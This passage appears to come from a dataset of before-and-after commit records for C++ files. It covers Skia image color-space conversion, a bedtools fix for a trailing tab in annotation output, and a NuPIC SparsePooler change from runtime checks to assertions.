this->INHERITED::onAsLegacyBitmap(bitmap);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nsk_sp<SkImage> SkImage_Raster::onMakeColorTypeAndColorSpace(GrRecordingContext*,\n                                                            SkColorType targetCT,\n                                                            sk_sp<SkColorSpace> targetCS) const {\n    SkPixmap src;\n    SkAssertResult(fBitmap.peekPixels(&src));\n\n    SkBitmap dst;\n    dst.allocPixels(fBitmap.info().makeColorType(targetCT).makeColorSpace(targetCS));\n\n    SkAssertResult(dst.writePixels(src));\n    dst.setImmutable();\n    return SkImage::MakeFromBitmap(dst);\n}\n\nsk_sp<SkImage> SkImage_Raster::onReinterpretColorSpace(sk_sp<SkColorSpace> newCS) const {\n    \/\/ TODO: If our bitmap is immutable, then we could theoretically create another image sharing\n    \/\/ our pixelRef. That doesn't work (without more invasive logic), because the image gets its\n    \/\/ gen ID from the bitmap, which gets it from the pixelRef.\n    SkPixmap pixmap = fBitmap.pixmap();\n    pixmap.setColorSpace(std::move(newCS));\n    return SkImage::MakeRasterCopy(pixmap);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n  annotateBed.cpp\n\n  (c) 2009 - Aaron Quinlan\n  Hall Laboratory\n  Department of Biochemistry and Molecular Genetics\n  University of Virginia\n  aaronquinlan@gmail.com\n\n  Licenced under the GNU General Public License 2.0 license.\n******************************************************************************\/\n#include \"lineFileUtilities.h\"\n#include \"annotateBed.h\"\n\n\/\/ build\nBedAnnotate::BedAnnotate(const string &mainFile, const vector<string> &annoFileNames,\n            const vector<string> &annoTitles, bool sameStrand, bool diffStrand, bool reportCounts, bool reportBoth) :\n\n    _mainFile(mainFile),\n    _annoFileNames(annoFileNames),\n    _annoTitles(annoTitles),\n    _sameStrand(sameStrand),\n    _diffStrand(diffStrand),\n    _reportCounts(reportCounts),\n    _reportBoth(reportBoth)\n{\n    _bed = new BedFile(_mainFile);\n}\n\n\n\/\/ destroy and delete the open file pointers\nBedAnnotate::~BedAnnotate(void) {\n    delete _bed;\n    CloseAnnoFiles();\n}\n\n\nvoid BedAnnotate::OpenAnnoFiles() {\n    for (size_t i=0; i < _annoFileNames.size(); ++i) {\n        BedFile *file = new BedFile(_annoFileNames[i]);\n        file->Open();\n        _annoFiles.push_back(file);\n    }\n}\n\n\nvoid BedAnnotate::CloseAnnoFiles() {\n    for (size_t i=0; i < _annoFiles.size(); ++i) {\n        BedFile *file = _annoFiles[i];\n        delete file;\n        _annoFiles[i] = NULL;\n    }\n}\n\n\nvoid BedAnnotate::PrintHeader() {\n    \/\/ print a hash to indicate header and then write a tab\n    \/\/ for each field in the main file.\n    printf(\"#\");\n    for (size_t i = 0; i < _bed->bedType - 1; ++i)\n        printf(\"\\t\");\n\n    \/\/ now print the label for each file.\n    if (_reportBoth == false) {\n        for (size_t i = 0; i < _annoTitles.size(); ++i)\n            printf(\"%s\\t\", _annoTitles[i].c_str());\n        printf(\"\\n\");\n    }\n    else {\n        for (size_t i = 0; i < _annoTitles.size(); ++i)\n            printf(\"\\t%s_cnt\\t%s_pct\", _annoTitles[i].c_str(), _annoTitles[i].c_str());\n        printf(\"\\n\");\n    }\n}\n\n\nvoid BedAnnotate::InitializeMainFile() {\n    \/\/ process each chromosome\n    masterBedCovListMap::iterator chromItr = _bed->bedCovListMap.begin();\n    masterBedCovListMap::iterator chromEnd = _bed->bedCovListMap.end();\n    for (; chromItr != chromEnd; ++chromItr) {\n        \/\/ for each chrom, process each bin\n        binsToBedCovLists::iterator binItr = chromItr->second.begin();\n        binsToBedCovLists::iterator binEnd = chromItr->second.end();\n        for (; binItr != binEnd; ++binItr) {\n            \/\/ initialize BEDCOVLIST in this chrom\/bin\n            vector<BEDCOVLIST>::iterator bedItr = binItr->second.begin();\n            vector<BEDCOVLIST>::iterator bedEnd = binItr->second.end();\n            for (; bedItr != bedEnd; ++bedItr) {\n                \/\/ initialize the depthMaps, counts, etc. for each anno file.\n                for (size_t i = 0; i < _annoFiles.size(); ++i) {\n                    map<unsigned int, DEPTH> dummy;\n                    bedItr->depthMapList.push_back(dummy);\n                    bedItr->counts.push_back(0);\n                    bedItr->minOverlapStarts.push_back(INT_MAX);\n                }\n            }\n        }\n    }\n}\n\n\nvoid BedAnnotate::AnnotateBed() {\n\n    \/\/ load the \"main\" bed file into a map so\n    \/\/ that we can easily compare each annoFile to it for overlaps\n    _bed->loadBedCovListFileIntoMap();\n    \/\/ open the annotations files for processing;\n    OpenAnnoFiles();\n    \/\/ initialize counters, depths, etc. for the main file\n    InitializeMainFile();\n\n    \/\/ annotate the main file with the coverage from the annotation files.\n    for (size_t annoIndex = 0; annoIndex < _annoFiles.size(); ++annoIndex) {\n        \/\/ grab the current annotation file.\n        BedFile *anno = _annoFiles[annoIndex];\n        BED a;\n        \/\/ process each entry in the current anno file\n        while (anno->GetNextBed(a)) {\n            if (anno->_status == BED_VALID) {\n                _bed->countListHits(a, annoIndex, _sameStrand, _diffStrand);\n            }\n        }\n    }\n\n    \/\/ report the annotations of the main file from the anno file.\n    ReportAnnotations();\n    \/\/ close the annotations files;\n    CloseAnnoFiles();\n}\n\n\nvoid BedAnnotate::ReportAnnotations() {\n\n    if (_annoTitles.size() > 0) {\n        PrintHeader();\n    }\n\n    \/\/ process each chromosome\n    masterBedCovListMap::const_iterator chromItr = _bed->bedCovListMap.begin();\n    masterBedCovListMap::const_iterator chromEnd = _bed->bedCovListMap.end();\n    for (; chromItr != chromEnd; ++chromItr) {\n        \/\/ for each chrom, process each bin\n        binsToBedCovLists::const_iterator binItr = chromItr->second.begin();\n        binsToBedCovLists::const_iterator binEnd = chromItr->second.end();\n        for (; binItr != binEnd; ++binItr) {\n            \/\/ for each chrom & bin, compute and report\n            \/\/ the observed coverage for each feature\n            vector<BEDCOVLIST>::const_iterator bedItr = binItr->second.begin();\n            vector<BEDCOVLIST>::const_iterator bedEnd = binItr->second.end();\n            for (; bedItr != bedEnd; ++bedItr) {\n                \/\/ print the main BED entry.\n                _bed->reportBedTab(*bedItr);\n\n                \/\/ now report the coverage from each annotation file.\n                for (size_t i = 0; i < _annoFiles.size(); ++i) {\n                    unsigned int totalLength = 0;\n                    int zeroDepthCount = 0; \/\/ number of bases with zero depth\n                    int depth          = 0; \/\/ tracks the depth at the current base\n\n                    \/\/ the start is either the first base in the feature OR\n                    \/\/ the leftmost position of an overlapping feature. e.g. (s = start):\n                    \/\/ A    ----------\n                    \/\/ B    s    ------------\n                    int start          = min(bedItr->minOverlapStarts[i], bedItr->start);\n\n                    map<unsigned int, DEPTH>::const_iterator depthItr;\n                    map<unsigned int, DEPTH>::const_iterator depthEnd;\n\n                    \/\/ compute the coverage observed at each base in the feature marching from start to end.\n                    for (CHRPOS pos = start+1; pos <= bedItr->end; pos++) {\n                        \/\/ map pointer grabbing the starts and ends observed at this position\n                        depthItr = bedItr->depthMapList[i].find(pos);\n                        depthEnd = bedItr->depthMapList[i].end();\n\n                        \/\/ increment coverage if starts observed at this position.\n                        if (depthItr != depthEnd)\n                            depth += depthItr->second.starts;\n                        \/\/ update zero depth\n                        if ((pos > bedItr->start) && (pos <= bedItr->end) && (depth == 0))\n                            zeroDepthCount++;\n                        \/\/ decrement coverage if ends observed at this position.\n                        if (depthItr != depthEnd)\n                            depth = depth - depthItr->second.ends;\n                    }\n                    \/\/ Summarize the coverage for the current interval,\n                    CHRPOS length     = bedItr->end - bedItr->start;\n                    totalLength       += length;\n                    int nonZeroBases   = (length - zeroDepthCount);\n                    float fractCovered = (float) nonZeroBases \/ length;\n                    if (_reportCounts == false && _reportBoth == false)\n                        printf(\"%f\\t\", fractCovered);\n                    else if (_reportCounts == true && _reportBoth == false)\n                        printf(\"%d\\t\", bedItr->counts[i]);\n                    else if (_reportCounts == false && _reportBoth == true)\n                        printf(\"%d\\t%f\\t\", bedItr->counts[i], fractCovered);\n                }\n                \/\/ print newline for next feature.\n                printf(\"\\n\");\n            }\n        }\n    }\n}\n\n\n<commit_msg>[BUG] fix extra TAB at EOL in the annotate tool.<commit_after>\/*****************************************************************************\n  annotateBed.cpp\n\n  (c) 2009 - Aaron Quinlan\n  Hall Laboratory\n  Department of Biochemistry and Molecular Genetics\n  University of Virginia\n  aaronquinlan@gmail.com\n\n  Licenced under the GNU General Public License 2.0 license.\n******************************************************************************\/\n#include \"lineFileUtilities.h\"\n#include \"annotateBed.h\"\n\n\/\/ build\nBedAnnotate::BedAnnotate(const string &mainFile, const vector<string> &annoFileNames,\n            const vector<string> &annoTitles, bool sameStrand, bool diffStrand, bool reportCounts, bool reportBoth) :\n\n    _mainFile(mainFile),\n    _annoFileNames(annoFileNames),\n    _annoTitles(annoTitles),\n    _sameStrand(sameStrand),\n    _diffStrand(diffStrand),\n    _reportCounts(reportCounts),\n    _reportBoth(reportBoth)\n{\n    _bed = new BedFile(_mainFile);\n}\n\n\n\/\/ destroy and delete the open file pointers\nBedAnnotate::~BedAnnotate(void) {\n    delete _bed;\n    CloseAnnoFiles();\n}\n\n\nvoid BedAnnotate::OpenAnnoFiles() {\n    for (size_t i=0; i < _annoFileNames.size(); ++i) {\n        BedFile *file = new BedFile(_annoFileNames[i]);\n        file->Open();\n        _annoFiles.push_back(file);\n    }\n}\n\n\nvoid BedAnnotate::CloseAnnoFiles() {\n    for (size_t i=0; i < _annoFiles.size(); ++i) {\n        BedFile *file = _annoFiles[i];\n        delete file;\n        _annoFiles[i] = NULL;\n    }\n}\n\n\nvoid BedAnnotate::PrintHeader() {\n    \/\/ print a hash to indicate header and then write a tab\n    \/\/ for each field in the main file.\n    printf(\"#\");\n    for (size_t i = 0; i < _bed->bedType - 1; ++i)\n        printf(\"\\t\");\n\n    \/\/ now print the label for each file.\n    if (_reportBoth == false) {\n        for (size_t i = 0; i < _annoTitles.size(); ++i)\n            printf(\"%s\\t\", _annoTitles[i].c_str());\n        printf(\"\\n\");\n    }\n    else {\n        for (size_t i = 0; i < _annoTitles.size(); ++i)\n            printf(\"\\t%s_cnt\\t%s_pct\", _annoTitles[i].c_str(), _annoTitles[i].c_str());\n        printf(\"\\n\");\n    }\n}\n\n\nvoid BedAnnotate::InitializeMainFile() {\n    \/\/ process each chromosome\n    masterBedCovListMap::iterator chromItr = _bed->bedCovListMap.begin();\n    masterBedCovListMap::iterator chromEnd = _bed->bedCovListMap.end();\n    for (; chromItr != chromEnd; ++chromItr) {\n        \/\/ for each chrom, process each bin\n        binsToBedCovLists::iterator binItr = chromItr->second.begin();\n        binsToBedCovLists::iterator binEnd = chromItr->second.end();\n        for (; binItr != binEnd; ++binItr) {\n            \/\/ initialize BEDCOVLIST in this chrom\/bin\n            vector<BEDCOVLIST>::iterator bedItr = binItr->second.begin();\n            vector<BEDCOVLIST>::iterator bedEnd = binItr->second.end();\n            for (; bedItr != bedEnd; ++bedItr) {\n                \/\/ initialize the depthMaps, counts, etc. for each anno file.\n                for (size_t i = 0; i < _annoFiles.size(); ++i) {\n                    map<unsigned int, DEPTH> dummy;\n                    bedItr->depthMapList.push_back(dummy);\n                    bedItr->counts.push_back(0);\n                    bedItr->minOverlapStarts.push_back(INT_MAX);\n                }\n            }\n        }\n    }\n}\n\n\nvoid BedAnnotate::AnnotateBed() {\n\n    \/\/ load the \"main\" bed file into a map so\n    \/\/ that we can easily compare each annoFile to it for overlaps\n    _bed->loadBedCovListFileIntoMap();\n    \/\/ open the annotations files for processing;\n    OpenAnnoFiles();\n    \/\/ initialize counters, depths, etc. for the main file\n    InitializeMainFile();\n\n    \/\/ annotate the main file with the coverage from the annotation files.\n    for (size_t annoIndex = 0; annoIndex < _annoFiles.size(); ++annoIndex) {\n        \/\/ grab the current annotation file.\n        BedFile *anno = _annoFiles[annoIndex];\n        BED a;\n        \/\/ process each entry in the current anno file\n        while (anno->GetNextBed(a)) {\n            if (anno->_status == BED_VALID) {\n                _bed->countListHits(a, annoIndex, _sameStrand, _diffStrand);\n            }\n        }\n    }\n\n    \/\/ report the annotations of the main file from the anno file.\n    ReportAnnotations();\n    \/\/ close the annotations files;\n    CloseAnnoFiles();\n}\n\n\nvoid BedAnnotate::ReportAnnotations() {\n\n    if (_annoTitles.size() > 0) {\n        PrintHeader();\n    }\n\n    \/\/ process each chromosome\n    masterBedCovListMap::const_iterator chromItr = _bed->bedCovListMap.begin();\n    masterBedCovListMap::const_iterator chromEnd = _bed->bedCovListMap.end();\n    for (; chromItr != chromEnd; ++chromItr) {\n        \/\/ for each chrom, process each bin\n        binsToBedCovLists::const_iterator binItr = chromItr->second.begin();\n        binsToBedCovLists::const_iterator binEnd = chromItr->second.end();\n        for (; binItr != binEnd; ++binItr) {\n            \/\/ for each chrom & bin, compute and report\n            \/\/ the observed coverage for each feature\n            vector<BEDCOVLIST>::const_iterator bedItr = binItr->second.begin();\n            vector<BEDCOVLIST>::const_iterator bedEnd = binItr->second.end();\n            for (; bedItr != bedEnd; ++bedItr) {\n                \/\/ print the main BED entry.\n                _bed->reportBedTab(*bedItr);\n\n                \/\/ now report the coverage from each annotation file.\n                for (size_t i = 0; i < _annoFiles.size(); ++i) {\n                    unsigned int totalLength = 0;\n                    int zeroDepthCount = 0; \/\/ number of bases with zero depth\n                    int depth          = 0; \/\/ tracks the depth at the current base\n\n                    \/\/ the start is either the first base in the feature OR\n                    \/\/ the leftmost position of an overlapping feature. e.g. (s = start):\n                    \/\/ A    ----------\n                    \/\/ B    s    ------------\n                    int start          = min(bedItr->minOverlapStarts[i], bedItr->start);\n\n                    map<unsigned int, DEPTH>::const_iterator depthItr;\n                    map<unsigned int, DEPTH>::const_iterator depthEnd;\n\n                    \/\/ compute the coverage observed at each base in the feature marching from start to end.\n                    for (CHRPOS pos = start+1; pos <= bedItr->end; pos++) {\n                        \/\/ map pointer grabbing the starts and ends observed at this position\n                        depthItr = bedItr->depthMapList[i].find(pos);\n                        depthEnd = bedItr->depthMapList[i].end();\n\n                        \/\/ increment coverage if starts observed at this position.\n                        if (depthItr != depthEnd)\n                            depth += depthItr->second.starts;\n                        \/\/ update zero depth\n                        if ((pos > bedItr->start) && (pos <= bedItr->end) && (depth == 0))\n                            zeroDepthCount++;\n                        \/\/ decrement coverage if ends observed at this position.\n                        if (depthItr != depthEnd)\n                            depth = depth - depthItr->second.ends;\n                    }\n                    \/\/ Summarize the coverage for the current interval,\n                    CHRPOS length     = bedItr->end - bedItr->start;\n                    totalLength       += length;\n                    int nonZeroBases   = (length - zeroDepthCount);\n                    float fractCovered = (float) nonZeroBases \/ length;\n                    if (_reportCounts == false && _reportBoth == false)\n                        printf(\"%f\", fractCovered);\n                    else if (_reportCounts == true && _reportBoth == false)\n                        printf(\"%d\", bedItr->counts[i]);\n                    else if (_reportCounts == false && _reportBoth == true)\n                        printf(\"%d\\t%f\", bedItr->counts[i], fractCovered);\n\n                    if (i != _annoFiles.size() - 1)\n                        printf(\"\\t\");\n                }\n                \/\/ print newline for next feature.\n                printf(\"\\n\");\n            }\n        }\n    }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>escape_html: use StringView instead of struct strref<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc.  Unless you have purchased from\n * Numenta, Inc. a separate commercial license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ---------------------------------------------------------------------\n *\/\n\n\/** @file \n * Implementation for SparsePooler\n *\/\n\n#include <nta\/algorithms\/SparsePooler.hpp>\n\nusing namespace std;\n\nnamespace nta {\n\n  \/\/--------------------------------------------------------------------------------\n  const std::string SparsePooler::current_sparse_pooler_version_ = \"SparsePooler_1.7\";\n\n  \/\/--------------------------------------------------------------------------------\n  \/\/ SPARSE POOLER INPUT MASKS\n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks()\n    : segment_size_(0), min_size_(0), max_size_(0),\n      sizes_(), masks_()\n  {}\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks(size_type ss, \n\t\t\t\t\t\t const std::vector<Mask>& masks)\n    : segment_size_(ss), min_size_(0), max_size_(0),\n      sizes_(), masks_(masks)\n  {\n    compute_cache_();\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks(std::istream& inStream)\n    : segment_size_(0), min_size_(0), max_size_(0),\n      sizes_(), masks_()\n  {\n    readState(inStream);\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks& \n  SparsePoolerInputMasks::operator=(const SparsePoolerInputMasks& other)\n  {\n    if (&other != this) {\n      segment_size_ = other.segment_size_;\n      min_size_ = other.min_size_;\n      max_size_ = other.max_size_;\n      sizes_ = other.sizes_;\n      masks_ = other.masks_;\n    }\n    return *this;\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::saveState(std::ostream& outStream) const\n  {\n    outStream << segmentSize() << \" \" << masks_ << \" \";\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::readState(std::istream& inStream)\n  {\n    inStream >> segment_size_ >> general_vector >> masks_;\n    compute_cache_();\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::compute_cache_()\n  {\n    { \/\/ Pre-conditions\n      NTA_CHECK(segment_size_ > 0)\n\t<< \"SparsePoolerInputMasks: Invalid segment size: \" << segment_size_\n\t<< \" - Should be > 0\";\n      \n      NTA_CHECK(masks_.size() > 0)\n\t<< \"SparsePoolerInputMasks: No masks passed\";\n\n      for (size_type i = 0; i != masks_.size(); ++i) {\n\t\n\tNTA_CHECK(masks_[i].size() > 0)\n\t  << \"SparsePoolerInputMasks: Empty mask\";\n\t\n\tfor (size_type j = 0; j != masks_[i].size(); ++j) \n\t  NTA_CHECK(masks_[i][j].second > 0)\n\t    << \"SparsePoolerInputMasks: Empty mask segment\";\n      }\n    } \/\/ End pre-conditions\n\n    min_size_ = std::numeric_limits<size_type>::max();\n    max_size_ = 0;\n    sizes_.resize(masks_.size(), 0);\n    \n    for (size_type i = 0; i != masks_.size(); ++i) {\n      size_type a_size = 0;\n      for (size_type j = 0; j != masks_[i].size(); ++j) \n\ta_size += masks_[i][j].second;\n      sizes_[i] = a_size;\n      if (a_size < min_size_)\n\tmin_size_ = a_size;    \n      if (a_size > max_size_)\n\tmax_size_ = a_size;\n    }\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  std::ostream& operator<<(std::ostream& outStream, const SparsePoolerInputMasks& masks)\n  {\n    masks.saveState(outStream);\n    return outStream;\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  std::istream& operator>>(std::istream& inStream, SparsePoolerInputMasks& masks)\n  {\n    masks.readState(inStream);\n    return inStream;\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  \/\/ SPARSE POOLER\n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::SparsePooler()\n    : normalize_(false),\n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(),\n      p_(0),\n      buf_(),\n      prototypes_(),\n      rng_(0),\n      cachedCM_()\n  {}\n\n  \/\/------------------------------------------------------------------------------\n  SparsePooler::SparsePooler(const SparsePoolerInputMasks& inputMasks,\n\t\t\t     size_type normalize,\n\t\t\t     value_type norm,\n\t\t\t     size_type sparsification_mode,\n\t\t\t     size_type inference_mode,\n\t\t\t     size_type kWinners,\n\t\t\t     value_type threshold,\n\t\t\t     value_type min_accept_distance,\n\t\t\t     value_type min_accept_norm,\n\t\t\t     value_type min_proto_sum,\n\t\t\t     value_type sigma,\n\t\t\t     UInt32 seed)\n    : normalize_(false), \n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(inputMasks),\n      p_(0),\n      buf_(inputMasks.maxSize()),\n      prototypes_(),\n      rng_(seed)\n  {\n    setDoNormalization(normalize);\n    setNorm(norm);\n    setSparsificationMode(sparsification_mode);\n    setKWinners(kWinners);\n    setInferenceMode(inference_mode);\n    setThreshold(threshold);\n    setMinAcceptDistance(min_accept_distance);\n    setMinAcceptNorm(min_accept_norm);\n    setMinProtoSum(min_proto_sum);\n    setSigma(sigma);\n\n    prototypes_.resize(inputMasks.nMasks());\n    for (size_type i = 0; i != inputMasks.nMasks(); ++i)\n      prototypes_[i].resize(0, inputMasks.size(i));\n\n    init_invariants_();\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::SparsePooler(istream& inStream, UInt32 seed)\n    : normalize_(false),\n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(),\n      p_(0),\n      buf_(),\n      prototypes_(),\n      rng_(seed)\n  {\n    readState(inStream);\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::~SparsePooler()\n  {}\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePooler::saveState(ostream& outStream) const\n  {\n    outStream << getCurrentSparsePoolerVersion() << \" \"\n\t      << getSparsificationMode() << \" \"\n\t      << getInferenceMode() << \" \"\n\t      << getInputMasks() << \" \"\n\t      << getDoNormalization() << \" \"\n\t      << getNorm() << \" \"\n\t      << getKWinners() << \" \"\n\t      << getThreshold() << \" \"\n\t      << getMinAcceptDistance() << \" \"\n\t      << getMinAcceptNorm() << \" \"\n\t      << getMinProtoSum() << \" \"\n\t      << getSigma() << \" \";\n\n    for (size_type i = 0; i != prototypes_.size(); ++i)\n      getPrototypes(i).toCSR(outStream);\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  void SparsePooler::readState(istream& inStream) \n  {\n    const std::string where = \"SparsePooler::readState: \";\n\n    string flag(\"\");\n    size_type i_val = 0;\n    value_type f_val = (value_type) 0;\n\n    inStream >> flag;\n    \n    inStream >> i_val;\n    setSparsificationMode(i_val);\n\n    inStream >> i_val;\n    setInferenceMode(i_val);\n\n    inStream >> input_masks_;\n\n    inStream >> i_val;\n    setDoNormalization(i_val);\n\n    inStream >> f_val;\n    setNorm(f_val);\n\n    inStream >> i_val;\n    setKWinners(i_val);\n\n    inStream >> f_val;\n    setThreshold(f_val);\n    \n    inStream >> f_val;\n    setMinAcceptDistance(f_val);\n\n    inStream >> f_val;\n    setMinAcceptNorm(f_val);\n\n    if (flag == \"SparsePooler_1.7\") {\n      inStream >> f_val;\n      setMinProtoSum(f_val);\n    }\n\n    inStream >> f_val;\n    setSigma(f_val);\n\n    size_type n_prototypes = getInputMasks().nMasks();\n\n    prototypes_.resize(n_prototypes);\n\n    for (size_type i = 0; i != n_prototypes; ++i)\n      prototypes_[i].fromCSR(inStream, true);\n    \n    p_ = 0;\n    buf_.resize(getInputMasks().maxSize());\n\n    init_invariants_();\n  }\n\n \/\/--------------------------------------------------------------------------------\n  void SparsePooler::init_invariants_() const\n  {\n  }\n\n  \/\/--------------------------------------------------------------------------------\n} \/\/ end namespace nta\n<commit_msg>use NTA_ASSERT<commit_after>\/*\n * ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2013, Numenta, Inc.  Unless you have purchased from\n * Numenta, Inc. a separate commercial license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ---------------------------------------------------------------------\n *\/\n\n\/** @file \n * Implementation for SparsePooler\n *\/\n\n#include <nta\/algorithms\/SparsePooler.hpp>\n\nusing namespace std;\n\nnamespace nta {\n\n  \/\/--------------------------------------------------------------------------------\n  const std::string SparsePooler::current_sparse_pooler_version_ = \"SparsePooler_1.7\";\n\n  \/\/--------------------------------------------------------------------------------\n  \/\/ SPARSE POOLER INPUT MASKS\n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks()\n    : segment_size_(0), min_size_(0), max_size_(0),\n      sizes_(), masks_()\n  {}\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks(size_type ss, \n\t\t\t\t\t\t const std::vector<Mask>& masks)\n    : segment_size_(ss), min_size_(0), max_size_(0),\n      sizes_(), masks_(masks)\n  {\n    compute_cache_();\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks::SparsePoolerInputMasks(std::istream& inStream)\n    : segment_size_(0), min_size_(0), max_size_(0),\n      sizes_(), masks_()\n  {\n    readState(inStream);\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  SparsePoolerInputMasks& \n  SparsePoolerInputMasks::operator=(const SparsePoolerInputMasks& other)\n  {\n    if (&other != this) {\n      segment_size_ = other.segment_size_;\n      min_size_ = other.min_size_;\n      max_size_ = other.max_size_;\n      sizes_ = other.sizes_;\n      masks_ = other.masks_;\n    }\n    return *this;\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::saveState(std::ostream& outStream) const\n  {\n    outStream << segmentSize() << \" \" << masks_ << \" \";\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::readState(std::istream& inStream)\n  {\n    inStream >> segment_size_ >> general_vector >> masks_;\n    compute_cache_();\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  void SparsePoolerInputMasks::compute_cache_()\n  {\n    { \/\/ Pre-conditions\n      NTA_ASSERT(segment_size_ > 0)\n\t<< \"SparsePoolerInputMasks: Invalid segment size: \" << segment_size_\n\t<< \" - Should be > 0\";\n      \n      NTA_ASSERT(masks_.size() > 0)\n\t<< \"SparsePoolerInputMasks: No masks passed\";\n\n      for (size_type i = 0; i != masks_.size(); ++i) {\n\t\n\tNTA_ASSERT(masks_[i].size() > 0)\n\t  << \"SparsePoolerInputMasks: Empty mask\";\n\t\n\tfor (size_type j = 0; j != masks_[i].size(); ++j) \n\t  NTA_ASSERT(masks_[i][j].second > 0)\n\t    << \"SparsePoolerInputMasks: Empty mask segment\";\n      }\n    } \/\/ End pre-conditions\n\n    min_size_ = std::numeric_limits<size_type>::max();\n    max_size_ = 0;\n    sizes_.resize(masks_.size(), 0);\n    \n    for (size_type i = 0; i != masks_.size(); ++i) {\n      size_type a_size = 0;\n      for (size_type j = 0; j != masks_[i].size(); ++j) \n\ta_size += masks_[i][j].second;\n      sizes_[i] = a_size;\n      if (a_size < min_size_)\n\tmin_size_ = a_size;    \n      if (a_size > max_size_)\n\tmax_size_ = a_size;\n    }\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  std::ostream& operator<<(std::ostream& outStream, const SparsePoolerInputMasks& masks)\n  {\n    masks.saveState(outStream);\n    return outStream;\n  }\n  \n  \/\/--------------------------------------------------------------------------------\n  std::istream& operator>>(std::istream& inStream, SparsePoolerInputMasks& masks)\n  {\n    masks.readState(inStream);\n    return inStream;\n  }\n\n  \/\/--------------------------------------------------------------------------------\n  \/\/ SPARSE POOLER\n  \/\/--------------------------------------------------------------------------------\n  SparsePooler::SparsePooler()\n    : normalize_(false),\n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(),\n      p_(0),\n      buf_(),\n      prototypes_(),\n      rng_(0),\n      cachedCM_()\n  {}\n\n  \/\/------------------------------------------------------------------------------\n  SparsePooler::SparsePooler(const SparsePoolerInputMasks& inputMasks,\n\t\t\t     size_type normalize,\n\t\t\t     value_type norm,\n\t\t\t     size_type sparsification_mode,\n\t\t\t     size_type inference_mode,\n\t\t\t     size_type kWinners,\n\t\t\t     value_type threshold,\n\t\t\t     value_type min_accept_distance,\n\t\t\t     value_type min_accept_norm,\n\t\t\t     value_type min_proto_sum,\n\t\t\t     value_type sigma,\n\t\t\t     UInt32 seed)\n    : normalize_(false), \n      lp_(0),\n      sparsification_mode_(none),\n      k_winners_(0),\n      threshold_(0),\n      min_accept_distance_(0),\n      min_accept_norm_(0),\n      min_proto_sum_(1),\n      inference_mode_(product),\n      sigma_(0),\n      input_masks_(inputMasks),\n      p_(0),\n      buf_(inputMasks.maxSize()),\n      prototypes_(),\n      rng_(seed)\n  {\n    